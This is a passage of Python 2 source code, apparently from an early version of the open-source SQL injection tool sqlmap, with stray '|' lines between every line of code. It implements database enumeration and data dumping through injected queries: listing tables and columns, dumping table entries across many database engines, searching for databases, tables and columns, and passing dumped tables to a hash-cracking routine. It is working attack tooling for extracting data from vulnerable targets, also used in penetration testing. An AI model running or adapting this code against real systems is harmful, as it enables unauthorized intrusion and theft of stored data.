for index in indexRange:
|
|
if getIdentifiedDBMS() == DBMS.SYBASE:
|
|
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
|
elif getIdentifiedDBMS() == DBMS.MAXDB:
|
|
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
|
elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
|
query = rootQuery.blind.query % index
|
|
else:
|
|
query = rootQuery.blind.query % (db, index)
|
|
table = inject.getValue(query, inband=False, error=False)
|
|
tables.append(table)
|
|
kb.hintValue = table
|
|
|
|
if tables:
|
|
kb.data.cachedTables[db] = tables
|
|
else:
|
|
warnMsg = "unable to retrieve the tables "
|
|
warnMsg += "for database '%s'" % db
|
|
logger.warn(warnMsg)
|
|
|
|
if not kb.data.cachedTables:
|
|
errMsg = "unable to retrieve the tables for any database"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
return kb.data.cachedTables
|
|
|
|
def getColumns(self, onlyColNames=False):
|
|
bruteForce = False
|
|
|
|
if not conf.tbl:
|
|
errMsg = "missing table parameter"
|
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
|
|
|
if "." in conf.tbl:
|
|
conf.db, conf.tbl = conf.tbl.split(".")
|
|
|
|
self.forceDbmsEnum()
|
|
|
|
if not conf.db:
|
|
warnMsg = "missing database parameter, sqlmap is going to "
|
|
warnMsg += "use the current database to enumerate table "
|
|
warnMsg += "'%s' columns" % conf.tbl
|
|
logger.warn(warnMsg)
|
|
|
|
conf.db = self.getCurrentDb()
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
errMsg = "information_schema not available, "
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
logger.error(errMsg)
|
|
bruteForce = True
|
|
|
|
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
|
errMsg = "cannot retrieve column names, "
|
|
errMsg += "back-end DBMS is Access"
|
|
logger.error(errMsg)
|
|
bruteForce = True
|
|
|
|
if bruteForce:
|
|
resumeAvailable = False
|
|
|
|
for db, table, colName, colType in kb.brute.columns:
|
|
if db == conf.db and table == conf.tbl:
|
|
resumeAvailable = True
|
|
break
|
|
|
|
if resumeAvailable:
|
|
columns = {}
|
|
for db, table, colName, colType in kb.brute.columns:
|
|
if db == conf.db and table == conf.tbl:
|
|
columns[colName] = colType
|
|
|
|
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
|
|
|
|
return kb.data.cachedColumns
|
|
|
|
message = "do you want to use common columns existance check? [Y/n/q]"
|
|
test = readInput(message, default="Y")
|
|
|
|
if test[0] in ("n", "N"):
|
|
return
|
|
elif test[0] in ("q", "Q"):
|
|
raise sqlmapUserQuitException
|
|
else:
|
|
return columnExists(paths.COMMON_COLUMNS)
|
|
|
|
firebirdTypes = {
|
|
"261":"BLOB",
|
|
"14":"CHAR",
|
|
"40":"CSTRING",
|
|
"11":"D_FLOAT",
|
|
"27":"DOUBLE",
|
|
"10":"FLOAT",
|
|
"16":"INT64",
|
|
"8":"INTEGER",
|
|
"9":"QUAD",
|
|
"7":"SMALLINT",
|
|
"12":"DATE",
|
|
"13":"TIME",
|
|
"35":"TIMESTAMP",
|
|
"37":"VARCHAR"
|
|
}
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].columns
|
|
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
|
|
|
|
infoMsg = "fetching columns "
|
|
|
|
if conf.col:
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
conf.col = conf.col.upper()
|
|
colList = conf.col.split(",")
|
|
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
|
|
infoMsg += "like '%s' " % ", ".join(col for col in colList)
|
|
else:
|
|
condQuery = ""
|
|
|
|
infoMsg += "for table '%s' " % conf.tbl
|
|
infoMsg += "on database '%s'" % conf.db
|
|
logger.info(infoMsg)
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
|
query = rootQuery.inband.query % (conf.tbl, conf.db)
|
|
query += condQuery
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.inband.query % conf.tbl.upper()
|
|
query += condQuery
|
|
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
|
query = rootQuery.inband.query % (conf.db, conf.db,
|
|
conf.db, conf.db,
|
|
conf.db, conf.db,
|
|
conf.db, conf.tbl)
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
|
query = rootQuery.inband.query % conf.tbl
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
if getIdentifiedDBMS() == DBMS.SQLITE:
|
|
parseSqliteTableSchema(value)
|
|
elif value:
|
|
table = {}
|
|
columns = {}
|
|
|
|
for column, colType in value:
|
|
columns[column] = colType
|
|
|
|
table[conf.tbl] = columns
|
|
kb.data.cachedColumns[conf.db] = table
|
|
|
|
if not kb.data.cachedColumns and not conf.direct:
|
|
infoMsg = "fetching number of columns "
|
|
infoMsg += "for table '%s'" % conf.tbl
|
|
infoMsg += " on database '%s'" % conf.db
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
|
query = rootQuery.blind.count % (conf.tbl, conf.db)
|
|
query += condQuery
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.blind.count % conf.tbl.upper()
|
|
query += condQuery
|
|
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
|
query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl)
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
query = rootQuery.blind.count % (conf.tbl)
|
|
query += condQuery
|
|
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
|
query = rootQuery.blind.query % conf.tbl
|
|
value = inject.getValue(query, inband=False, error=False)
|
|
|
|
parseSqliteTableSchema(value)
|
|
|
|
return kb.data.cachedColumns
|
|
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
errMsg = "unable to retrieve the number of columns "
|
|
errMsg += "for table '%s' " % conf.tbl
|
|
errMsg += "on database '%s'" % conf.db
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
table = {}
|
|
columns = {}
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
|
query = rootQuery.blind.query % (conf.tbl, conf.db)
|
|
query += condQuery
|
|
field = None
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.blind.query % (conf.tbl.upper())
|
|
query += condQuery
|
|
field = None
|
|
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
|
query = rootQuery.blind.query % (conf.db, conf.db,
|
|
conf.db, conf.db,
|
|
conf.db, conf.db,
|
|
conf.tbl)
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
field = condition.replace("[DB]", conf.db)
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
query = rootQuery.blind.query % (conf.tbl)
|
|
query += condQuery
|
|
field = None
|
|
|
|
query = agent.limitQuery(index, query, field)
|
|
column = inject.getValue(query, inband=False, error=False)
|
|
|
|
if not onlyColNames:
|
|
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
|
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
|
|
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
|
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
|
|
conf.db, column, conf.db,
|
|
conf.db, conf.db, conf.tbl)
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
query = rootQuery.blind.query2 % (conf.tbl, column)
|
|
|
|
colType = inject.getValue(query, inband=False, error=False)
|
|
|
|
if getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
|
|
|
|
columns[column] = colType
|
|
else:
|
|
columns[column] = None
|
|
|
|
if columns:
|
|
table[conf.tbl] = columns
|
|
kb.data.cachedColumns[conf.db] = table
|
|
|
|
if not kb.data.cachedColumns:
|
|
errMsg = "unable to retrieve the columns "
|
|
errMsg += "for table '%s' " % conf.tbl
|
|
errMsg += "on database '%s'" % conf.db
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
return kb.data.cachedColumns
|
|
|
|
def dumpTable(self):
|
|
if not conf.tbl and not conf.col:
|
|
errMsg = "missing table parameter"
|
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
|
|
|
if conf.col and not conf.tbl:
|
|
warnMsg = "missing table parameter. You only provided "
|
|
warnMsg += "column(s). sqlmap will search for all databases' "
|
|
warnMsg += "tables containing the provided column(s)"
|
|
logger.warn(warnMsg)
|
|
|
|
self.searchColumn()
|
|
return
|
|
|
|
if "." in conf.tbl:
|
|
conf.db, conf.tbl = conf.tbl.split(".")
|
|
|
|
self.forceDbmsEnum()
|
|
|
|
if not conf.db:
|
|
warnMsg = "missing database parameter, sqlmap is going to "
|
|
warnMsg += "use the current database to dump table "
|
|
warnMsg += "'%s' entries" % conf.tbl
|
|
logger.warn(warnMsg)
|
|
|
|
conf.db = self.getCurrentDb()
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].dump_table
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL:
|
|
if '-' in conf.tbl:
|
|
conf.tbl = "`%s`" % conf.tbl
|
|
if '-' in conf.db:
|
|
conf.db = "`%s`" % conf.db
|
|
|
|
if conf.col:
|
|
colList = conf.col.split(",")
|
|
kb.data.cachedColumns[conf.db] = {}
|
|
kb.data.cachedColumns[conf.db][conf.tbl] = {}
|
|
|
|
for column in colList:
|
|
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
|
|
|
|
elif not kb.data.cachedColumns:
|
|
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
|
|
|
|
if conf.col:
|
|
colList = conf.col.split(",")
|
|
elif kb.data.cachedColumns and conf.db in kb.data.cachedColumns and conf.tbl in kb.data.cachedColumns[conf.db]:
|
|
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
|
|
else:
|
|
errMsg = "missing column names, "
|
|
errMsg += "can't dump table"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
if colList in ([None], ['None']):
|
|
warnMsg = "unable to retrieve column names"
|
|
logger.warn(warnMsg)
|
|
return None
|
|
|
|
colString = ", ".join(column for column in colList)
|
|
|
|
infoMsg = "fetching"
|
|
if conf.col:
|
|
infoMsg += " columns '%s'" % colString
|
|
infoMsg += " entries for table '%s'" % conf.tbl
|
|
infoMsg += " on database '%s'" % conf.db
|
|
logger.info(infoMsg)
|
|
|
|
entriesCount = 0
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.inband.query % (colString, conf.tbl.upper())
|
|
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
|
query = rootQuery.inband.query % (colString, conf.tbl)
|
|
else:
|
|
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
|
|
entries = inject.getValue(query, blind=False, dump=True)
|
|
|
|
if entries:
|
|
if isinstance(entries, basestring):
|
|
entries = [ entries ]
|
|
|
|
entriesCount = len(entries)
|
|
index = 0
|
|
|
|
for column in colList:
|
|
colLen = len(column)
|
|
|
|
if not kb.data.dumpedTable.has_key(column):
|
|
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
|
|
|
|
for entry in entries:
|
|
if entry is None or len(entry) == 0:
|
|
continue
|
|
|
|
if isinstance(entry, basestring):
|
|
colEntry = entry
|
|
else:
|
|
colEntry = entry[index] if index < len(entry) else u''
|
|
|
|
colEntryLen = len(getUnicode(colEntry))
|
|
maxLen = max(colLen, colEntryLen)
|
|
|
|
if maxLen > kb.data.dumpedTable[column]["length"]:
|
|
kb.data.dumpedTable[column]["length"] = maxLen
|
|
|
|
kb.data.dumpedTable[column]["values"].append(colEntry)
|
|
|
|
index += 1
|
|
|
|
if not kb.data.dumpedTable and not conf.direct:
|
|
infoMsg = "fetching number of "
|
|
if conf.col:
|
|
infoMsg += "columns '%s' " % colString
|
|
infoMsg += "entries for table '%s' " % conf.tbl
|
|
infoMsg += "on database '%s'" % conf.db
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.blind.count % conf.tbl.upper()
|
|
elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
|
|
query = rootQuery.blind.count % conf.tbl
|
|
else:
|
|
query = rootQuery.blind.count % (conf.db, conf.tbl)
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "unable to retrieve the number of "
|
|
if conf.col:
|
|
warnMsg += "columns '%s' " % colString
|
|
warnMsg += "entries for table '%s' " % conf.tbl
|
|
warnMsg += "on database '%s'" % conf.db
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
return None
|
|
|
|
lengths = {}
|
|
entries = {}
|
|
|
|
if getIdentifiedDBMS() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
|
|
plusOne = True
|
|
else:
|
|
plusOne = False
|
|
indexRange = getRange(count, dump=True, plusOne=plusOne)
|
|
|
|
try:
|
|
if getIdentifiedDBMS() == DBMS.ACCESS:
|
|
validColumnList = False
|
|
validPivotValue = False
|
|
|
|
for column in colList:
|
|
infoMsg = "fetching number of distinct "
|
|
infoMsg += "values for column '%s'" % column
|
|
logger.info(infoMsg)
|
|
|
|
query = rootQuery.blind.count2 % (column, conf.tbl)
|
|
value = inject.getValue(query, inband=False, error=False)
|
|
|
|
if isNumPosStrValue(value):
|
|
validColumnList = True
|
|
if value == count:
|
|
infoMsg = "using column '%s' as a pivot " % column
|
|
infoMsg += "for retrieving row data"
|
|
logger.info(infoMsg)
|
|
|
|
validPivotValue = True
|
|
|
|
colList.remove(column)
|
|
colList.insert(0, column)
|
|
break
|
|
|
|
if not validColumnList:
|
|
errMsg = "all column name(s) provided are non-existent"
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
if not validPivotValue:
|
|
warnMsg = "no proper pivot column provided (with unique values)."
|
|
warnMsg += " all rows can't be retrieved."
|
|
logger.warn(warnMsg)
|
|
|
|
pivotValue = " "
|
|
breakRetrieval = False
|
|
|
|
for index in indexRange:
|
|
if breakRetrieval:
|
|
break
|
|
|
|
for column in colList:
|
|
if column not in lengths:
|
|
lengths[column] = 0
|
|
|
|
if column not in entries:
|
|
entries[column] = []
|
|
|
|
if column == colList[0]:
|
|
# Correction for pivotValues with unrecognized chars
|
|
if pivotValue and '?' in pivotValue and pivotValue[0]!='?':
|
|
pivotValue = pivotValue.split('?')[0]
|
|
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
|
|
query = rootQuery.blind.query % (column, conf.tbl, column, pivotValue)
|
|
else:
|
|
query = rootQuery.blind.query2 % (column, conf.tbl, colList[0], pivotValue)
|
|
|
|
value = inject.getValue(query, inband=False, error=False)
|
|
|
|
if column == colList[0]:
|
|
if not value:
|
|
breakRetrieval = True
|
|
break
|
|
else:
|
|
pivotValue = value
|
|
|
|
lengths[column] = max(lengths[column], len(value) if value else 0)
|
|
entries[column].append(value)
|
|
else:
|
|
for index in indexRange:
|
|
for column in colList:
|
|
if column not in lengths:
|
|
lengths[column] = 0
|
|
|
|
if column not in entries:
|
|
entries[column] = []
|
|
|
|
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
|
query = rootQuery.blind.query % (column, conf.db,
|
|
conf.tbl, index)
|
|
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
|
query = rootQuery.blind.query % (column, column,
|
|
conf.tbl.upper(),
|
|
index)
|
|
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
query = rootQuery.blind.query % (column, index, conf.db,
|
|
conf.tbl, colList[0],
|
|
colList[0], colList[0])
|
|
|
|
elif getIdentifiedDBMS() == DBMS.SQLITE:
|
|
query = rootQuery.blind.query % (column, conf.tbl, index)
|
|
|
|
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
|
|
query = rootQuery.blind.query % (index, column, conf.tbl)
|
|
|
|
value = inject.getValue(query, inband=False, error=False)
|
|
|
|
lengths[column] = max(lengths[column], len(value) if value else 0)
|
|
entries[column].append(value)
|
|
except KeyboardInterrupt:
|
|
warnMsg = "Ctrl+C detected in dumping phase"
|
|
logger.warn(warnMsg)
|
|
|
|
except sqlmapConnectionException, e:
|
|
errMsg = "connection exception detected in dumping phase: "
|
|
errMsg += "'%s'" % e
|
|
logger.critical(errMsg)
|
|
|
|
for column, columnEntries in entries.items():
|
|
length = max(lengths[column], len(column))
|
|
|
|
kb.data.dumpedTable[column] = { "length": length,
|
|
"values": columnEntries }
|
|
|
|
entriesCount = len(columnEntries)
|
|
|
|
if kb.data.dumpedTable:
|
|
kb.data.dumpedTable["__infos__"] = { "count": entriesCount,
|
|
"table": conf.tbl,
|
|
"db": conf.db }
|
|
else:
|
|
warnMsg = "unable to retrieve the entries of "
|
|
if conf.col:
|
|
warnMsg += "columns '%s' " % colString
|
|
warnMsg += "for table '%s' " % conf.tbl
|
|
warnMsg += "on database '%s'" % conf.db
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
return None
|
|
|
|
attackDumpedTable()
|
|
|
|
return kb.data.dumpedTable
|
|
|
|
def dumpAll(self):
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
errMsg = "information_schema not available, "
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
conf.db = None
|
|
conf.tbl = None
|
|
conf.col = None
|
|
kb.data.cachedDbs = []
|
|
kb.data.cachedTables = self.getTables()
|
|
|
|
if kb.data.cachedTables:
|
|
if isinstance(kb.data.cachedTables, list):
|
|
kb.data.cachedTables = { None : kb.data.cachedTables }
|
|
|
|
for db, tables in kb.data.cachedTables.items():
|
|
conf.db = db
|
|
|
|
for table in tables:
|
|
conf.tbl = table
|
|
kb.data.cachedColumns = {}
|
|
kb.data.dumpedTable = {}
|
|
|
|
data = self.dumpTable()
|
|
|
|
if data:
|
|
conf.dumper.dbTableValues(data)
|
|
|
|
def dumpFoundColumn(self, dbs, foundCols, colConsider):
|
|
if not dbs:
|
|
warnMsg = "no databases have tables containing any of the "
|
|
warnMsg += "provided columns"
|
|
logger.warn(warnMsg)
|
|
return
|
|
|
|
conf.dumper.dbColumns(foundCols, colConsider, dbs)
|
|
|
|
message = "do you want to dump entries? [Y/n] "
|
|
output = readInput(message, default="Y")
|
|
|
|
if output and output[0] not in ("y", "Y"):
|
|
return
|
|
|
|
dumpFromDbs = []
|
|
message = "which database(s)?\n[a]ll (default)\n"
|
|
|
|
for db, tblData in dbs.items():
|
|
if tblData:
|
|
message += "[%s]\n" % db
|
|
|
|
message += "[q]uit"
|
|
test = readInput(message, default="a")
|
|
|
|
if not test or test in ("a", "A"):
|
|
dumpFromDbs = dbs.keys()
|
|
elif test in ("q", "Q"):
|
|
return
|
|
else:
|
|
dumpFromDbs = test.replace(" ", "").split(",")
|
|
|
|
for db, tblData in dbs.items():
|
|
if db not in dumpFromDbs or not tblData:
|
|
continue
|
|
|
|
conf.db = db
|
|
dumpFromTbls = []
|
|
message = "which table(s) of database '%s'?\n" % db
|
|
message += "[a]ll (default)\n"
|
|
|
|
for tbl in tblData:
|
|
message += "[%s]\n" % tbl
|
|
|
|
message += "[s]kip\n"
|
|
message += "[q]uit"
|
|
test = readInput(message, default="a")
|
|
|
|
if not test or test in ("a", "A"):
|
|
dumpFromTbls = tblData
|
|
elif test in ("s", "S"):
|
|
continue
|
|
elif test in ("q", "Q"):
|
|
return
|
|
else:
|
|
dumpFromTbls = test.replace(" ", "").split(",")
|
|
|
|
for table, columns in tblData.items():
|
|
if table not in dumpFromTbls:
|
|
continue
|
|
|
|
conf.tbl = table
|
|
conf.col = ",".join(column for column in columns)
|
|
kb.data.cachedColumns = {}
|
|
kb.data.dumpedTable = {}
|
|
|
|
data = self.dumpTable()
|
|
|
|
if data:
|
|
conf.dumper.dbTableValues(data)
|
|
|
|
def searchDb(self):
|
|
foundDbs = []
|
|
rootQuery = queries[getIdentifiedDBMS()].search_db
|
|
dbList = conf.db.split(",")
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
dbCond = rootQuery.inband.condition2
|
|
else:
|
|
dbCond = rootQuery.inband.condition
|
|
|
|
dbConsider, dbCondParam = self.likeOrExact("database")
|
|
|
|
for db in dbList:
|
|
infoMsg = "searching database"
|
|
if dbConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
if conf.excludeSysDbs:
|
|
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
|
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
|
logger.info(infoMsg)
|
|
else:
|
|
exclDbsQuery = ""
|
|
|
|
dbQuery = "%s%s" % (dbCond, dbCondParam)
|
|
dbQuery = dbQuery % db
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.inband.query2
|
|
else:
|
|
query = rootQuery.inband.query
|
|
query += dbQuery
|
|
query += exclDbsQuery
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
if values:
|
|
if isinstance(values, basestring):
|
|
values = [ values ]
|
|
|
|
for value in values:
|
|
foundDbs.append(value)
|
|
else:
|
|
infoMsg = "fetching number of databases"
|
|
if dbConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s'" % db
|
|
logger.info(infoMsg)
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.count2
|
|
else:
|
|
query = rootQuery.blind.count
|
|
query += dbQuery
|
|
query += exclDbsQuery
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "no database"
|
|
if dbConsider == "1":
|
|
warnMsg += "s like"
|
|
warnMsg += " '%s' found" % db
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.query2
|
|
else:
|
|
query = rootQuery.blind.query
|
|
query += dbQuery
|
|
query += exclDbsQuery
|
|
query = agent.limitQuery(index, query, dbCond)
|
|
|
|
foundDbs.append(inject.getValue(query, inband=False, error=False))
|
|
|
|
return foundDbs
|
|
|
|
def searchTable(self):
|
|
bruteForce = False
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
errMsg = "information_schema not available, "
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
bruteForce = True
|
|
|
|
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
|
errMsg = "cannot retrieve table names, "
|
|
errMsg += "back-end DBMS is Access"
|
|
logger.error(errMsg)
|
|
bruteForce = True
|
|
|
|
if bruteForce:
|
|
message = "do you want to use common table existance check? [Y/n/q]"
|
|
test = readInput(message, default="Y")
|
|
|
|
if test[0] in ("n", "N"):
|
|
return
|
|
elif test[0] in ("q", "Q"):
|
|
raise sqlmapUserQuitException
|
|
else:
|
|
regex = "|".join(conf.tbl.split(","))
|
|
return tableExists(paths.COMMON_TABLES, regex)
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].search_table
|
|
foundTbls = {}
|
|
tblList = conf.tbl.split(",")
|
|
tblCond = rootQuery.inband.condition
|
|
dbCond = rootQuery.inband.condition2
|
|
|
|
tblConsider, tblCondParam = self.likeOrExact("table")
|
|
|
|
for tbl in tblList:
|
|
if getIdentifiedDBMS() == DBMS.ORACLE:
|
|
tbl = tbl.upper()
|
|
|
|
infoMsg = "searching table"
|
|
if tblConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s'" % tbl
|
|
logger.info(infoMsg)
|
|
|
|
if conf.excludeSysDbs:
|
|
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
|
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
|
logger.info(infoMsg)
|
|
else:
|
|
exclDbsQuery = ""
|
|
|
|
tblQuery = "%s%s" % (tblCond, tblCondParam)
|
|
tblQuery = tblQuery % tbl
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
|
query = rootQuery.inband.query
|
|
query += tblQuery
|
|
query += exclDbsQuery
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
if values:
|
|
if isinstance(values, basestring):
|
|
values = [ values ]
|
|
|
|
for foundDb, foundTbl in values:
|
|
if foundDb in foundTbls:
|
|
foundTbls[foundDb].append(foundTbl)
|
|
else:
|
|
foundTbls[foundDb] = [ foundTbl ]
|
|
else:
|
|
infoMsg = "fetching number of databases with table"
|
|
if tblConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s'" % tbl
|
|
logger.info(infoMsg)
|
|
|
|
query = rootQuery.blind.count
|
|
query += tblQuery
|
|
query += exclDbsQuery
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "no databases have table"
|
|
if tblConsider == "1":
|
|
warnMsg += "s like"
|
|
warnMsg += " '%s'" % tbl
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
query = rootQuery.blind.query
|
|
query += tblQuery
|
|
query += exclDbsQuery
|
|
query = agent.limitQuery(index, query)
|
|
foundDb = inject.getValue(query, inband=False, error=False)
|
|
if foundDb not in foundTbls:
|
|
foundTbls[foundDb] = []
|
|
|
|
if tblConsider == "2":
|
|
foundTbls[foundDb].append(tbl)
|
|
|
|
if tblConsider == "2":
|
|
continue
|
|
|
|
for db in foundTbls.keys():
|
|
infoMsg = "fetching number of table"
|
|
if tblConsider == "1":
|
|
infoMsg += "s like"
|
|
infoMsg += " '%s' in database '%s'" % (tbl, db)
|
|
logger.info(infoMsg)
|
|
|
|
query = rootQuery.blind.count2
|
|
query = query % db
|
|
query += " AND %s" % tblQuery
|
|
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
|
|
|
|
if not isNumPosStrValue(count):
|
|
warnMsg = "no table"
|
|
if tblConsider == "1":
|
|
warnMsg += "s like"
|
|
warnMsg += " '%s' " % tbl
|
|
warnMsg += "in database '%s'" % db
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
indexRange = getRange(count)
|
|
|
|
for index in indexRange:
|
|
query = rootQuery.blind.query2
|
|
query = query % db
|
|
query += " AND %s" % tblQuery
|
|
query = agent.limitQuery(index, query)
|
|
foundTbl = inject.getValue(query, inband=False, error=False)
|
|
kb.hintValue = foundTbl
|
|
foundTbls[db].append(foundTbl)
|
|
|
|
return foundTbls
|
|
|
|
def searchColumn(self):
|
|
bruteForce = False
|
|
|
|
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
|
|
errMsg = "information_schema not available, "
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
bruteForce = True
|
|
|
|
elif getIdentifiedDBMS() == DBMS.ACCESS:
|
|
errMsg = "cannot retrieve column names, "
|
|
errMsg += "back-end DBMS is Access"
|
|
logger.error(errMsg)
|
|
bruteForce = True
|
|
|
|
if bruteForce:
|
|
message = "do you want to use common columns existance check? [Y/n/q]"
|
|
test = readInput(message, default="Y")
|
|
|
|
if test[0] in ("n", "N"):
|
|
return
|
|
elif test[0] in ("q", "Q"):
|
|
raise sqlmapUserQuitException
|
|
else:
|
|
regex = "|".join(conf.col.split(","))
|
|
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
|
|
|
|
message = "do you want to dump entries? [Y/n] "
|
|
output = readInput(message, default="Y")
|
|
|
|
if output and output[0] not in ("n", "N"):
|
|
self.dumpAll()
|
|
|
|
return
|
|
|
|
rootQuery = queries[getIdentifiedDBMS()].search_column
|
|
foundCols = {}
|
|
dbs = {}
|
|
colList = conf.col.split(",")
|
|
colCond = rootQuery.inband.condition
|
|
dbCond = rootQuery.inband.condition2
|
|
|
|
